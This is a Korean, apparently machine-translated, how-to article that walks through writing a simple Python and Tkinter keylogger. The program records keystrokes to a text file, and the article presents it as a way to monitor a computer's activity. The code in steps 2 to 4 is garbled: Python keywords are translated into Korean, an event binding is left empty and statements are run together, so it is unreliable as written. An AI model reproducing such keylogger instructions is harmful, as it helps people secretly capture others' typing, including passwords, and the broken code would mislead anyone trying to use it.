Python을 사용하여 키로거를 만드는 방법

그녀의 어깨 너머로보고 컴퓨터에서 여자

키 입력을 캡처하여 파일에 저장합니다.

이미지 크레디트: Jupiterimages/Photos.com/Getty Images

Python을 사용하여 키로거 프로그램을 만들어 컴퓨터 키보드를 통해 입력한 키 입력을 캡처할 수 있습니다. 키 입력은 텍스트 파일에 저장되며 모든 입력을 기록합니다. 키로거를 사용하여 컴퓨터의 활동을 모니터링할 수 있습니다.

1 단계

IDLE을 실행하고 "파일" 메뉴를 클릭한 다음 "새 창"을 선택하여 새 창을 시작합니다. Ctrl과 S를 눌러 "다른 이름으로 저장" 창을 시작합니다. "getKeyLogger"를 파일 이름으로 사용하고 "저장"을 클릭하십시오.

오늘의 비디오

2 단계

다음 코드 줄을 추가하여 "Tkinter" 네임스페이스를 가져오고 기록에 사용할 파일의 경로를 정의합니다.

Tkinter를 tk myFile로 가져오기 = open("C:/temp/keyFile.txt", "w")

3단계

모든 키 입력을 파일에 저장하려면 다음 코드를 복사하여 붙여넣습니다.

def keypress(이벤트): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write(keyPressed)

4단계

다음 코드를 추가하여 사용자에게 입력을 시작할 수 있고 Esc 키를 눌러 프로그램을 종료할 수 있음을 알립니다.

메인 = tk. Tk() print "아무 키나 누르십시오(종료하려면 Esc 키):" main.bind_all('', 키 누르기) main.withdraw() main.mainloop() myFile.close()

5단계

"Windows" 시작 버튼을 클릭하고 "프로그램 및 파일 검색" 상자에 "cmd"를 입력합니다. Enter 키를 눌러 명령 프롬프트를 엽니다. "C:\Python"으로 이동합니다."를 입력하고 "python getKeyLogger"를 입력합니다. Enter 키를 눌러 프로그램을 실행합니다. "C:/temp/"로 이동하고 "keyFile.txt"를 두 번 클릭하여 키 입력 데이터를 봅니다.